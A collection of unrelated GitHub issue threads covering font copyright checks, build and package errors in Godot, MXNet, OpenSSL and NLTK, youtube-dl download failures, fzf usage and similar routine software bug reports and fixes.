Copyright Notice Correct In All Files

Write a Upstream test, to check that the Copyright Notices are each

[x] identical
[x] following the correct pattern, according a regex of Copyright * NNNN * (*@*.*)*
[x] match those in the binaries

This test (and likely others) should be abstracted to work on each test pathway (UFO/TTF/etc)

@m4rc1e does your 'upstream' GlyphsApp preflight script check this?

@m4rc1e does your 'upstream' GlyphsApp preflight script check this?

It will check if it meets the following structure:
Copyright YYYY the {{ font.familyName }} Project Authors (git url)
I still need it to check that the git url is valid and the master source :-)

Should be
Copyright YYYY The {{ font.familyName }} Project Authors ({{ git url }})

:)

It occurs to me that the 3 things listed above specify a 'dashboard' milestone check, comparing source to live binaries, and therefore a check across the push life cycle.
Therefore when you've fixed your source checker, I'll assign Felipe and move it to that milestone.

@felipesanches do we have this in the TTF checker?

@davelab6 I have this in the gf-glyph-scripts check, https://github.com/googlefonts/gf-glyphs-scripts/blob/master/Google Fonts/qa.py#L172-L204

thanks, @m4rc1e

@davelab6 gf-glyph-scripts can now auto generate the copyright string for both the OFL.txt and font copyright, https://github.com/googlefonts/gf-glyphs-scripts/blob/master/Google Fonts/fixfonts.py#L30-L64.
The family needs to be included in the GF Upstream Repo doc in order for this to work. There is also a test to make sure the family is included in this document.

@felipesanches do we have this in the TTF checker?
We'll need that for https://github.com/google/fonts/issues/1134 - simple grep can take care of finding emails in DESC and METADATA files.

We do have a test for this but with diverging set of rules and only applying to METADATA.pb.
This is com.google.fonts/test/102 ("METADATA.pb: Copyright notice matches canonical pattern ?") and it will:

PASS for fonts with the string "Copyright 2016 Author Name (name@site.com)"
WARN that the copyright notice is OK, but lacks an email, when finding the string "Copyright 2016 Author Name"
FAIL for any other pattern.

In the description of this issue, when you say that copyright notices should "match those in the binaries", where should they be (for instance, in which name table entries ?) We have a rule against copyright info into description strings in the name table at com.google.fonts/test/031 ("Description strings in the name table must not contain copyright info."). And at com.google.fonts/test/088 ("Copyright notice is the same in all fonts ?") we make sure all font.copyright fields are coherent within METADATA.pb.
Would you like me to change the regex patterns on test/102 ?
And then, how to accomodate test/031 requirements that seem contradictory with the request in this issue? Should we drop (or change) its rule against copyright info on description strings of the name table?

Maybe the correct place for copyright strings on the name table would be on NAMEID_COPYRIGHT_NOTICE. I think this is possibly the correct place to look for that info.
If you acknowledge that, then I think we need to only do 2 things:

create a new test for making sure NAMEID_COPYRIGHT_NOTICE name entries match font.copyright on METADATA.pb
Change the regex on the test/102 validation of METADATA.pb font.copyright entries.

I created a new test (com.google.fonts/test/155) to make sure NAMEID_COPYRIGHT_NOTICE is identical to METADATA.pb font.copyright entries

Yes, the regex marc's gf-glyphs-script checker uses is preferred, please
update

No, test 031 is still required, we don't want copyright notices in font
description fields.

Mountains of C is a super fail because of the RFN...

create a new test for making sure NAMEID_COPYRIGHT_NOTICE name entries match font.copyright on METADATA.pb

That is back to font; font.copyright in METADATA is originally extracted from NAMEID_COPYRIGHT_NOTICE, so we should check that the child METADATA values are matching the parent NAMEID_COPYRIGHT_NOTICE values.
Also test 031 is still required but your screenshot doesn't show that working

Reopening to think about what you just said.


When building version 4.1mono of Godot: Unable to find the specified SDK 'Godot. NET. Sdk/4.1.0'

Godot version
4.1.stable
System information
Godot v4.1.stable.mono - Arch Linux #1 SMP PREEMPT_DYNAMIC Tue, 04 Jul 2023 08:39:40 +0000 - Vulkan (Compatibility) - Mesa Intel(R) HD Graphics 2000 (SNB GT1) () - Intel(R) Core(TM) i3-2100 CPU @ 3.10GHz (4 Threads)
Issue description
The following three messages appear during construction:
1.warning: Unable to load the service index for source https://api.nuget.org/v3/index.json.
2.error: Unable to find package Godot.NET.Sdk. No packages exist with this id in source(s): nuget
3.error: Unable to find the specified SDK 'Godot. NET. Sdk/4.1.0'.
Steps to reproduce
1.Create a renderer as a compatible project and add C # scripts.
2.Press the build button in the upper right corner.
Minimal reproduction project
Only one scene with one node with just one empty C# script

Are you able to restore packages in a non-Godot C# project? Judging from the warning you are getting about being unable to load the service index for NuGet.org, it seems like you have a broken NuGet configuration or connectivity issues.
Try adding a new NuGet.config file to the project (same folder that contains the project.godot file). You can create this configuration file with the dotnet new nugetconfig command, it should contain this configuration:
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <packageSources>
    <clear />
    <add key="nuget" value="https://api.nuget.org/v3/index.json" />
  </packageSources>
</configuration>

Then try restoring packages again. If it still doesn't work, can you share the contents of the NuGet configuration file at $HOME/.nuget/NuGet/NuGet.Config? Also any files that may exist in the $HOME/.nuget/NuGet/config directory.
Also, are you using the Azure Artifacts Credential Provider?

See also #58955

Then try restoring packages again. If it still doesn't work, can you share the contents of the NuGet configuration file at $HOME/.nuget/NuGet/NuGet.Config? Also any files that may exist in the $HOME/.nuget/NuGet/config directory.

This is my Nuget.Config file:
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <packageSources>
    <add key="nuget.org" value="https://api.nuget.org/v3/index.json" protocolVersion="3" />
  </packageSources>
</configuration>

There are several files in my $HOME/.nuget/NuGet/config directory directory:
.
├── config
│   └── Godot.Offline.Config
└── NuGet.Config
I am not using the Azure Artifacts Credential Provider.

I have resolved this issue because I did not install the fastgithub certificate in the system


isTourBubble and showNumber: BUG ? (and an ugly workaround)

There are two undocumented settings: showNumber and isTourBubble.
I'd expect that no-number class should be added when showNumber is false. However, it's not the case:
      opt = {
        ...
        showNumber:     true,
        isTourBubble:   true
      };
      ...

      //Apply classes to bubble. Add "animated" for fade css animation
      el.className = 'hopscotch-bubble animated';
      if (!opt.isTourBubble) {
        utils.addClass(el, 'hopscotch-callout no-number');
      }

Hi @tivnet, thanks for the info!
Huh, so it looks like there's only one reference to showNumber in hopscotch.js (that's it in the code you provided above) and it does a whole lot of nothing. I'm guessing the code that consumed this field got refactored away when we switched over to templates. =/
I'm actually not sure if I'm sold on keeping this option around, though. On one hand, this is something that an end user could update their template to read as customData and I'm not sure how useful this is to have as a core config option. On the other hand, I can see how altering bubble-default (or writing a new template), then rebuilding a custom version of Hopscotch might be overkill.
(Side note: Might be useful to publish a version of Hopscotch without bubble-default, for cases where end users don't intend to use bubble-default anyway.)
As for isTourBubble, I've got the feeling this isn't intended as a public option. Since both Hopscotch and HopscotchCalloutManager utilize HopscotchBubble this is how the two are distinguished. But HopscotchBubble shouldn't be in the business of handling business logic like this, anyway, so it should probably go away too.
I hope this helps! I'd love to hear any thoughts on whether there might be any value in keeping showNumber around... any other opinions on the matter?

I've rolled the above suggestions into issue #144. For now, I'm going to close this issue as a duplicate. Thanks!

I'm currently having this problem as well, my would around is also to use css to override the default template in hopscotch, which is not a clean and safe solution.
Instead of removing showNumber, can you keep that option around but extend on it?
showNumber should be true by default, but if user decides to set it to false:
if(!opt.showNumber) {
    utils.addClass(el, 'no-number');
}

I'm not sure if that piece of code would work, but something like that would help a great deal.


sap/f/FlexibleColumnLayoutSemanticHelper availability

Hi there, do you already know when you are going to include sap/f/FlexibleColumnLayoutSemanticHelper.js in the release? Thanks!

Hi there,
it's already available in the master branch and will be part of the release 1.46
https://github.com/SAP/openui5/blob/master/src/sap.f/src/sap/f/FlexibleColumnLayoutSemanticHelper.js
cheers,
Vladimir (OpenUI5)


Correction for raw affiliation Department of Plant Biotechnology and Bioinformatics (Belgium); INRA, SUPAGRO-UMR LEPSE, 34060 Montpellier cedex, France (C. Massonnet, D.V., J.F., C.G.); Max-Planck-Institute of Molecular Plant Physiology, 14476 Golm, Germany (M.A.H., C.C., J.L., R.C.M., L.W.); Department of Plant Systems Biology, Flanders Institute for Biotechnology, B–9052 Ghent, Belgium (G.T.S.B., F.F., P.H.); Department of Plant Biotechnology and Genetics, Ghent University, B–9052 Ghent,

Correction needed for raw affiliation Department of Plant Biotechnology and Bioinformatics (Belgium); INRA, SUPAGRO-UMR LEPSE, 34060 Montpellier cedex, France (C. Massonnet, D.V., J.F., C.G.); Max-Planck-Institute of Molecular Plant Physiology, 14476 Golm, Germany (M.A.H., C.C., J.L., R.C.M., L.W.); Department of Plant Systems Biology, Flanders Institute for Biotechnology, B–9052 Ghent, Belgium (G.T.S.B., F.F., P.H.); Department of Plant Biotechnology and Genetics, Ghent University, B–9052 Ghent,
raw_affiliation_name: Department of Plant Biotechnology and Bioinformatics (Belgium); INRA, SUPAGRO-UMR LEPSE, 34060 Montpellier cedex, France (C. Massonnet, D.V., J.F., C.G.); Max-Planck-Institute of Molecular Plant Physiology, 14476 Golm, Germany (M.A.H., C.C., J.L., R.C.M., L.W.); Department of Plant Systems Biology, Flanders Institute for Biotechnology, B–9052 Ghent, Belgium (G.T.S.B., F.F., P.H.); Department of Plant Biotechnology and Genetics, Ghent University, B–9052 Ghent,
new_rors: 00cv9y106;01fbde567;03xrhmk39;03fte3n86
previous_rors: 00cv9y106;01fbde567;03xrhmk39
works_examples: W1966076168
contact: 9dd57da15331e6c153ea62e84d7f72c0:ff0f73221f79ede91c206c4e2fc99acf4536 @ inrae.fr

This issue was accepted and ingested by the OpenAlex team on 2024-10-09. The new affiliations should be visible within the next 7 days.


Some youtube videos fail to download with "-f best" option (Did not get any data blocks)

Make sure you are using the latest version: run youtube-dl --version and ensure your version is 2019.02.08. If it's not, read this FAQ entry and update. Issues with outdated version will be rejected.

[x] I've verified and I assure that I'm running youtube-dl 2019.02.08

Before submitting an issue make sure you have:

[x] At least skimmed through the README, most notably the FAQ and BUGS sections
[x] Searched the bugtracker for similar issues including closed ones
[x] Checked that provided video/audio/playlist URLs (if any) are alive and playable in a browser

What is the purpose of your issue?

[x] Bug report (encountered problems with youtube-dl)

If the purpose of this issue is a bug report, site support request or you are not completely sure provide the full verbose output as follows:
/tmp$ youtube-dl -f best -v https://www.youtube.com/watch?v=s74jgtegJmU
[debug] System config: [u'-f', u'best', u'--no-mtime', u'-o', u'%(title)s.%(ext)s']
[debug] User config: []
[debug] Custom config: []
[debug] Command-line args: [u'-f', u'best', u'-v', u'https://www.youtube.com/watch?v=s74jgtegJmU']
[debug] Encodings: locale UTF-8, fs UTF-8, out UTF-8, pref UTF-8
[debug] youtube-dl version 2019.02.08
[debug] Python version 2.7.15+ (CPython) - Linux-4.19.0-1-amd64-x86_64-with-debian-buster-sid
[debug] exe versions: ffmpeg 4.1, ffprobe 4.1, phantomjs 5, rtmpdump 2.4
[debug] Proxy map: {}
[youtube] s74jgtegJmU: Downloading webpage
[youtube] s74jgtegJmU: Downloading video info webpage
[debug] Invoking downloader on u'https://r2---sn-nx5s7n7s.googlevideo.com/videoplayback?fvip=2&dur=1836.117&id=o-AGRWTJ_nLH6x2O2B3fzwnzMZe4FNmAz-rB4VjTh-Nz3w&sparams=dur%2Cei%2Cid%2Cinitcwndbps%2Cip%2Cipbits%2Citag%2Clmt%2Cmime%2Cmm%2Cmn%2Cms%2Cmv%2Cpl%2Cratebypass%2Crequiressl%2Csource%2Cexpire&mm=31%2C29&signature=A8FC5ED5A4C65BA0032B6A47A377BD71C56545A2.4F0B36A913BC299F32ED31F6E6E8CAFE18082CCE&mime=video%2Fmp4&txp=4532432&ms=au%2Crdu&ipbits=0&mn=sn-nx5s7n7s%2Csn-nx5e6n7d&mv=m&pl=26&key=yt6&ip=2601%3A1c2%3A600%3A445b%3A%3A57f&ratebypass=yes&source=youtube&lmt=1549654753295507&expire=1549728069&ei=5aReXPXsEsilkwaQyZfoBg&requiressl=yes&c=WEB&itag=22&mt=1549706397&initcwndbps=2096250'
[download] Destination: Ask GN 106 - Is AMD Losing Money on Radeon VII Are Paid Reviews Bad.mp4
[download]   0.4% of 195.97MiB at  1.66MiB/s ETA 01:57[download] Got server HTTP error: Downloaded 811472 bytes, expected 205491244 bytes. Retrying (attempt 1 of 10)...
[download] Destination: Ask GN 106 - Is AMD Losing Money on Radeon VII Are Paid Reviews Bad.mp4
[download]   0.4% of 195.97MiB at 544.11KiB/s ETA 06:07[download] Got server HTTP error: Downloaded 882004 bytes, expected 205491244 bytes. Retrying (attempt 2 of 10)...

ERROR: Did not get any data blocks
Traceback (most recent call last):
  File "/usr/local/bin/youtube-dl/youtube_dl/downloader/http.py", line 342, in real_download
    return download()
  File "/usr/local/bin/youtube-dl/youtube_dl/downloader/http.py", line 320, in download
    retry(err)
  File "/usr/local/bin/youtube-dl/youtube_dl/downloader/http.py", line 225, in retry
    raise RetryDownload(e)
RetryDownload

Description of your issue, suggested solution and other information
This has been a long-standing issue, getting more frequent recently. I can't figure out a pattern to which videos are affected, but if a video is affected, then deleting the .part and re-attempting will not fix it. However, retrying without the "-f best" option often resolves the issue.

Server side youtube failure.


Incluindo classe CepType

Codecov Report

Merging #1 (7e7afc9) into main (e8c7203) will increase coverage by 1.77%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##             main       #1      +/-   ##
==========================================
+ Coverage   95.89%   97.66%   +1.77%
==========================================
  Files           2        3       +1
  Lines         195      343     +148
==========================================
+ Hits          187      335     +148
  Misses          8        8

Flag
Coverage Δ

unittests
97.66% <100.00%> (+1.77%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

src/CepType.cs
100.00% <100.00%> (ø)

src/CpfType.cs
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e8c7203...7e7afc9. Read the comment docs.


Fail fast in build scripts

Use set -e in build scripts, so that if any steps fail it is reported to the developer and not silently ignored.

After adding these flags, I realized that the update_openssl.sh script is failing on the step "Building OpenSSL for 64-bit iOS simulator" with error (from make log):
Undefined symbols for architecture x86_64:
  "_mod_exp_512", referenced from:
      _e_rsax_bn_mod_exp in libcrypto.a(eng_rsax.o)
ld: symbol(s) not found for architecture x86_64
clang: error: linker command failed with exit code 1 (use -v to see invocation)
make[2]: *** [link_app.] Error 1
make[1]: *** [openssl] Error 2
make: *** [build_apps] Error 1

Any idea what is causing this or how I could resolve it?


Remove internal message from 010-mental-model.mdx

While reading the docs I saw a "(link to example?)" that seems to be an internal message that was pushed to production by accident.

Thanks for catching that! 🙏🏽


knowledge base behavior can create confusion

Current Behavior
Currently, when starting the dialog service for the first time, it populates the vector store with embeddings from the specified CSV path. During this process, it creates a unique key for each CSV entry by concatenating certain column fields and applying a hash function to them. If the service is restarted after the CSV has been updated, it attempts to update only the entries with new hashes.
Issue
This behavior may be problematic because the CSV typically represents the entire knowledge base to be considered and should not be mixed with past entries already in the vector database during updates. For example, if we have an entry Q&A:
Question: Until when can I cancel my order?
Answer: You can cancel your order up to 3 hours before the trip.

and the team responsible for maintaining the knowledge base changes this to 1 hour, the new entry will be stored in the database along with the old information, resulting in duplicate and potentially conflicting entries.
Suggested Improvement
Upon starting the dialog service, delete the existing collection) and create a new one with the contents of the current CSV. Providing an option for updating may be beneficial if retaining every entry indefinitely is not a problem. This would demand changes in load_csv.py.

today a diff is made of what is in the CSV (knowledge base) with the records that are in the database, keeping the existing ones and inserting the non-existent ones.
**We don't "delete" the non-existent ones: I want to remove the records that no longer exist in the CSV.
We could have an option in load_csv.py to reset the database before populating the database with the knowledge base (CSV).
--clear-db might be a good name


Vertical line(blinking cursor) everywhere when clicked on the website on Chrome Browser

Bug Description
Most of the texts on the website when clicked gives a vertical line(blinking cursor).
This is a bug that is not only in the link I provided in the "Steps to Reproduce" but the other several pages are also affected by this.
This bug can be reproduced in "Chrome". The website is working well on Mircosoft Edge and Mozilla Firefox as intended.
Steps to Reproduce
Steps to reproduce the behavior:

Go to https://thenewboston.com/tasks
Click on any of the navigation link "All", "Account-Manager", "Bank" or any other place
You will see the blinking cursor like happens when you click on the input box where you to type something.

Expected behavior
There should be no blinking cursor when clicked.
Actual behavior
There is a blinking cursor when clicked.
Screenshots/Recordings

OS and Browser

OS: Windows 10
Browser: Chrome

Additional context
Many pages are affected by this bug in Google Chrome Browser.
Account Number
0f92e975101eb96cea80dce430d74efd3172fa229377818d467ded85dcf2ab6c

I think this is a client-side issue.
There's an option called "Navigate pages with a text cursor" in Accessibility settings, you'll need to disable this option.
Chrome Settings --> Advanced --> Accessibility.
See if this fixes the issue and let me know.

Seems like there is some problem with my Chrome Browser because the same behavior can be observed in all other websites.

So I was using ScreenToGif Application to record my previous PRs working. This tool has a shortcut F7 to start recording and funny thing is that to turn on or off "Navigate pages with a text cursor" in chrome, there is shortcut F7 as well.


[Bug]: verticle view slider - last slider is not appearing above first slider by default

Which variants of Embla Carousel are you using?

[ ] embla-carousel (Core)
[ ] embla-carousel-react
[ ] embla-carousel-vue
[ ] embla-carousel-svelte
[ ] embla-carousel-autoplay
[ ] embla-carousel-auto-scroll
[ ] embla-carousel-solid
[ ] embla-carousel-auto-height
[ ] embla-carousel-class-names
[ ] embla-carousel-fade
[ ] embla-carousel-docs (Documentation)
[ ] embla-carousel-docs (Generator)

Steps to reproduce
The bug occurs in verticle slider when I try to display last slider above my first slider with some top margin on load(https://codesandbox.io/p/sandbox/embla-carousel-y-axis-react-forked-4ckh7h?file=%2Fsrc%2Fjs%2Findex.tsx%3A11%2C73) it only visible when i slightly scroll to top, in  horizontal view it is working like charm (https://codesandbox.io/p/sandbox/embla-carousel-autoplay-react-forked-pq4pq7?file=%2Fsrc%2Fcss%2Fembla.css%3A15%2C48)
Expected Behavior
verticle slider loop functionality  needs to look like horizontal loop slider
Example:

verticle slider issue (i already made necesary css changes)

Additional Context
No response
What browsers are you seeing the problem on?
Chrome
Version
No response
CodeSandbox
https://codesandbox.io/p/sandbox/embla-carousel-y-axis-react-forked-4ckh7h?file=%2Fsrc%2Fjs%2Findex.tsx%3A11%2C73
Before submitting

[X] I've made research efforts and searched the documentation
[X] I've searched for existing issues
[X] I agree to follow this project's Contributing Guidelines for bug reports

@pragadesh-tartlabs please make your CodeSandbox public. I can’t access it.

@pragadesh-tartlabs this is not a bug. Don't add margins to the container (embla__container) because that's the scroll container. Add spacing to the slides instead.


Report from future import annotations

As far as I understand, from __future__ import annotations is not needed in stub files. It would be great to report this unnecessary import statement.

Great idea! Would you like to submit a PR? The change should be very simple — just some small tweaks to visit_ImportFrom

Would you like to submit a PR? The change should be very simple — just some small tweaks to visit_ImportFrom

Thank you for pointing me to visit_ImportFrom. I'll give it a try, probably this evening.

@AlexWaygood I opened a PR


Detected as Malware

Hi there,
Following the recent update, this app has been identified as malware and cannot be run unless you choose "Bypass malware protection." However, this creates a significant security hazard that I think few people will accept.
I have Sonoma 14.4.1 (23E224)
Do you have any intentions to fix this issue?

@crnc3vic I think it is duplicate of #26, looking into it. Sorry for the inconvenience.

@crnc3vic I'm not sure of the exact cause of the issue, but occasionally, after some time passes, the package seems to be recognized as malware for no known reason. It's actually not malware, so you can be reassured. Also, the error shouldn't appear anymore as I've repackaged it with the same version 1.1.8. Can you check it?

It appears to be solved for the time being. Thanks for checking into this so promptly.


Fix case where incorrect number of ranges reported

When defining a step with optional capturing group at the end, incorrect number of ranges is reported.
We need to check if range is valid before assigning group.
I've added tests similar to others, but I think we should maybe have unit test suite that cover parsing logic? It would make it easier to add tests and cover more edge cases.

This is covered in the readme: https://github.com/net-a-porter-mobile/XCTest-Gherkin#ambiguous-steps with the currently preferred approach

Hmm, I think this is not the same case. What this PR fixes is one step definition that matches multiple steps.
From what I understand from README, it is multiple step definitions that match single step?

Additionally, If you try to run test without this fix, the code crashes. That is I believe not expected behaviour even in example from README.

@jcavar I think what @kerrmarin means by referring this section of readme is that rather than using optional groups the same can be achieved with following two steps:
step("^I verify (.+) password$") {
  ...
}

step("I verify (.+) password against (.+) username") {
  ...
}

This will avoid crash and ambiguity of steps. At the same time I agree that crashing is not nice from framework POV and the fix does not change any behaviour and fixes this case, so I'm 👍 for it. At the same time I would encourage using two different steps as it makes it more clear for the reader and makes steps closer to single responsibility principle.

@jcavar I've just released this as version 0.19.2, thanks for your help :)


Use inline sourcemaps

Just another thing that i noticed it that sourcemap-files can't be loaded. Seems to be related to: https://stackoverflow.com/questions/61462586/can-i-enable-sourcemaps-in-a-chrome-extension

Mmmm, that's strange. I did some testing when I first published the repo and everything seemed to work. Anyway, I read the link you posted, and it should be a quick fix in webpack.config.js. At the bottom, just change 'source-map' to 'inline-source-map'. I'll update the repo when I get home.
Thanks for the comment 👍.


Line numbers missing after piping rg output to fzf

Category

[x] fzf binary
[ ] fzf-tmux script
[ ] Key bindings
[ ] Completion
[ ] Vim
[ ] Neovim
[ ] Etc.

OS

[ ] Linux
[x] Mac OS X
~[ ] Windows~
[ ] Windows Subsystem for Linux
[ ] Etc.

Shell

[x] bash
[ ] zsh
[x] fish

Hey @junegunn 👋
I'm getting some strange results while sending output from ripgrep into fzf from the shell. Once I get to the fuzzy finding screen, the line numbers from rg disappear. Here's a demo:

This happens inside/outside of tmux in both bash and fish.
The goal here is to grep for a pattern across all files, and then parse the output line from rg  to create a command like nvim .vim/user/plugin-settings.vim +32 which would jump to line 32 of the selected match upon opening Vim.
Here is my fzf default command:
set -gx FZF_DEFAULT_COMMAND 'rg --files --hidden --follow --glob "!{.git,.svn,node_modules,bower_components}"'

And the commands/output:
[I] sean at temas in ~/D/dotfiles (master|✚4…1)
> rg --no-heading --hidden goyo
.vim/user/plugins.vim:111:Plug 'junegunn/goyo.vim'
.vim/user/plugin-vundle.vim:115:Plugin 'junegunn/goyo.vim'
.vim/user/plugin-settings.vim:30:let g:goyo_width = 80
.vim/user/plugin-settings.vim:31:let g:goyo_margin_top = 3
.vim/user/plugin-settings.vim:32:let g:goyo_margin_bottom = 3
.vim/user/plugin-settings.vim:34:function! s:goyo_enter()
.vim/user/plugin-settings.vim:44:function! s:goyo_leave()
.vim/user/plugin-settings.vim:58:autocmd! User GoyoEnter call <SID>goyo_enter()
.vim/user/plugin-settings.vim:59:autocmd! User GoyoLeave call <SID>goyo_leave()
[I] sean at temas in ~/D/dotfiles (master|✚4…1)
> rg --no-heading --hidden goyo | fzf
.vim/user/plugin-settings.vim:let g:goyo_margin_bottom = 3
[I] sean at temas in ~/D/dotfiles (master|✚4…1)
>

I suggest that you read the documentation of ripgrep because this is really not an issue of fzf. You'll see the same result when you pipe it into simple | cat. (hint: --vimgrep)


help! when i use the bucket_io.py define my train_iter i get this error:Check failed: from.shape() == to->shape() operands shape mismatch

2017-01-13 08:36:14,767 Start training with [cpu(0)]
Traceback (most recent call last):
File "", line 16, in
batch_end_callback=mx.callback.Speedometer(batch_size, 1),)
File "D:\Program Files\Anaconda2\lib\site-packages\mxnet-0.8.0-py2.7.egg\mxnet\model.py", line 811, in fit
sym_gen=self.sym_gen)
File "D:\Program Files\Anaconda2\lib\site-packages\mxnet-0.8.0-py2.7.egg\mxnet\model.py", line 236, in _train_multi_device
executor_manager.load_data_batch(data_batch)
File "D:\Program Files\Anaconda2\lib\site-packages\mxnet-0.8.0-py2.7.egg\mxnet\executor_manager.py", line 410, in load_data_batch
self.curr_execgrp.load_data_batch(data_batch)
File "D:\Program Files\Anaconda2\lib\site-packages\mxnet-0.8.0-py2.7.egg\mxnet\executor_manager.py", line 257, in load_data_batch
_load_data(data_batch, self.data_arrays)
File "D:\Program Files\Anaconda2\lib\site-packages\mxnet-0.8.0-py2.7.egg\mxnet\executor_manager.py", line 93, in _load_data
_load_general(batch.data, targets)
File "D:\Program Files\Anaconda2\lib\site-packages\mxnet-0.8.0-py2.7.egg\mxnet\executor_manager.py", line 89, in _load_general
d_src[slice_idx].copyto(d_dst)
File "D:\Program Files\Anaconda2\lib\site-packages\mxnet-0.8.0-py2.7.egg\mxnet\ndarray.py", line 533, in copyto
return _internal._copyto(self, out=other)
File "D:\Program Files\Anaconda2\lib\site-packages\mxnet-0.8.0-py2.7.egg\mxnet\ndarray.py", line 1225, in unary_ndarray_function
c_array(ctypes.c_char_p, [c_str(str(i)) for i in kwargs.values()])))
File "D:\Program Files\Anaconda2\lib\site-packages\mxnet-0.8.0-py2.7.egg\mxnet\base.py", line 77, in check_call
raise MXNetError(py_str(_LIB.MXGetLastError()))
MXNetError: [08:36:14] D:\Mxnet\windows\mxnet-master\src\ndarray\ndarray.cc:231: Check failed: from.shape() == to->shape() operands shape mismatch

these are my data shape:
self.provide_data : [('data', (32, 6729))]
self.provide_label: [('softmax_label', (32,))]

I use the class BucketSentenceIter to define my data iter.
Different from the original lstm demo , I apply the lstm model on   text classification, so I just have tow labels 0 and 1. while the original lstm demo has as many labels as the vocab. How can i modify the bucket_io.py to fit my data

This is usually because you used DataBatch(data=NDArray) instead of the correct DataBatch(data=[NDArray]) format

@piiswrong
data_all = [mx.nd.array(data)]
label_all =[mx.nd.array(label)]
data_names = ['data']
label_names = ['softmax_label']
            data_batch = SimpleBatch(data_names, data_all, label_names, label_all,self.buckets[i_bucket])

as above , I gave them "[]", it still throws a same error
this is my test model:
data = mx.sym.Variable('data')
embed_layer = mx.sym.Embedding(data=data, input_dim=vocab_size, output_dim=num_embed, name='vocab_embed')
input1 = mx.sym.Reshape(data=embed_layer, target_shape=(batch_size, vocab_size*num_embed))
fc1  = mx.sym.FullyConnected(data=input1, name='fc1', num_hidden =2)
mlp  = mx.sym.SoftmaxOutput(data=fc1, name='softmax')

@piiswrong
I catch  a glimpse of the train_iter as follows:
T=iter(data_train)
W=T.next()
W.label
Out[21]: [<NDArray 32 @cpu(0)>]
W.data
Out[22]: [<NDArray 32x45 @cpu(0)>]
W.bucket_key
Out[23]: 45
W.provide_label
Out[24]: [('softmax_label', (32L,))]
W.provide_data
Out[25]: [('data', (32L, 45L))]
i didn't find any faults

is it the model that leads to the error

I also test my iteration programs by the model：

as：
fc1  = mx.sym.FullyConnected(data=data, name='fc1', num_hidden =2)
mlp  = mx.sym.SoftmaxOutput(data=fc1, name='softmax')
it errors again , I think that maybe the batch's varied shape cause this problem . different batch has a different bucket

oh it works normally when I set the batch 's shap unchanged but it errors again after the train is end

I have solved my problem by fixing the train and test data‘s width unchanged though they  are in different buckets. the reason why it throws a error after train is that the test data's width is  not equal to the train's


propose-downstream: inform user about errors

Especially when packit service doesn't have perms to push to the repo, it should create a new issue on the repo and tell the user.
Current error message in logs:
packit.exceptions.PackitException: We were unable to push to dist-git: [remote rejected] (pre-receive hook declined)

The pre-receive hook declines when we don't have the perms.

Once we have logs in packit-service, we can set commit check status to failed and link to the logs.

Requires: https://github.com/packit-service/packit-service/issues/1

Currently, we are creating an issue when the propose-downstream fail:
https://github.com/packit-service/packit-service/blob/824783842994278625d8be26873af4271cdc4548/packit_service/worker/github_handlers.py#L228
And in the issue, you can retrigger the process.
See the related PR for the screenshots: https://github.com/packit-service/packit-service/pull/300

[ ] The missing piece is the commit-status (ideally with the link to the logs).

I'd say the issue is good enough for now, so we can close this. Setting the commit status sounds like an overkill to me.

Not sure what is "commit status", but I also think it's OK as it is now (e.g. https://github.com/packit-service/ogr/issues/348)


Customizing error / not found page

What version of UAA are you running?
4.19.2
How are you deploying the UAA?
I am deploying the UAA

other (please explain)

Buidling own Docker image and deploying it in K8S
What did you do?
When I access the /oauth/authorize endpoint, but specify wrong identity-zone id in the hostname (ie. https://<bad identity zone>.<uaa url>/oauth/authorize?...), then UAA responds with its (not particularly pretty) page saying:

Please note that the server returned 404 in this case.
What did you expect to see? What goal are you trying to achieve with the UAA?
I would like to be able to customize this page, either by:

being able to alter its look using configuration
or
preferrably, by redirecting the user to my own URL (where for instance I can display nicely looking Not Found page)

Is it possible?
What did you see instead?
The page shown above.

Closing due to inactivity.


Raising a non implemented error

Hello,
I was implementing some code for text analysis. Created the following class (everything is well defined):
class NGramTagChunker(ChunkParserI):
  def __init__(self,train_sentences,tagger_classes=[UnigramTagger,BigramTagger]):
    train_sent_tags=conll_tag_chunks(train_sentences)
    self.chunk_tagger=combined_tagger(train_sent_tags,tagger_classes)
def parse(self,tagged_sentence):
    if not tagged_sentence:
      return None
    pos_tags=[tag for word, tag in tagged_sentence]
    chunk_pos_tags=self.chunk_tagger.tag(pos_tags)
    chunk_tags=[chunk_tag for (pos_tag,chunk_tag) in chunk_pos_tags]
    wpc_tags=[(word,pos_tag,chunk_tag) for ((word,pos_tag),chunk_tag) in zip(tagged_sentence,chunk_tags)]
    return conlltags2tree(wpc_tags)

#train chunker model
ntc=NGramTagChunker(train_data)
#evaluate chunker model performance
print(ntc.evaluate(test_data))

The problem is specifically in the last line of the code (ntc.evaluate). It raises a not implemented error as follow:
     32         :rtype: Tree
     33         """
---> 34         raise NotImplementedError()
     35
     36     def evaluate(self, gold):

NotImplementedError:

I cannot reproduce your error when running
# You didn't show your imports, but I'm assuming these are them.
from nltk.tree import Tree
from nltk.chunk import ChunkParserI, tree2conlltags, conlltags2tree
from nltk.tag import UnigramTagger, BigramTagger

# I found these two functions when googling. I'm assuming these are the ones you used?
def conll_tag_chunks(chunk_sents):
    tagged_sents = [tree2conlltags(tree) for tree in chunk_sents]
    return [[(t, c) for (w, t, c) in sent] for sent in tagged_sents]

def combined_tagger(train_data, taggers, backoff=None):
    for tagger in taggers:
        backoff = tagger(train_data, backoff=backoff)
    return backoff

class NGramTagChunker(ChunkParserI):
    def __init__(self,train_sentences,tagger_classes=[UnigramTagger,BigramTagger]):
        train_sent_tags=conll_tag_chunks(train_sentences)
        self.chunk_tagger=combined_tagger(train_sent_tags,tagger_classes)

    def parse(self,tagged_sentence):
        if not tagged_sentence:
            return None
        pos_tags=[tag for word, tag in tagged_sentence]
        chunk_pos_tags=self.chunk_tagger.tag(pos_tags)
        chunk_tags=[chunk_tag for (pos_tag,chunk_tag) in chunk_pos_tags]
        wpc_tags=[(word,pos_tag,chunk_tag) for ((word,pos_tag),chunk_tag) in zip(tagged_sentence,chunk_tags)]
        return conlltags2tree(wpc_tags)

# This data is just arbitrary, I don't know if it's the format you used, as you didn't provide any.
train_data = [("The", "AT"), ("Fulton", "NP-TL"), ("County", "NN-TL")]
test_data = [Tree(("The", "AT"), [("Fulton", "NP-TL"), ("County", "NN-TL")])]

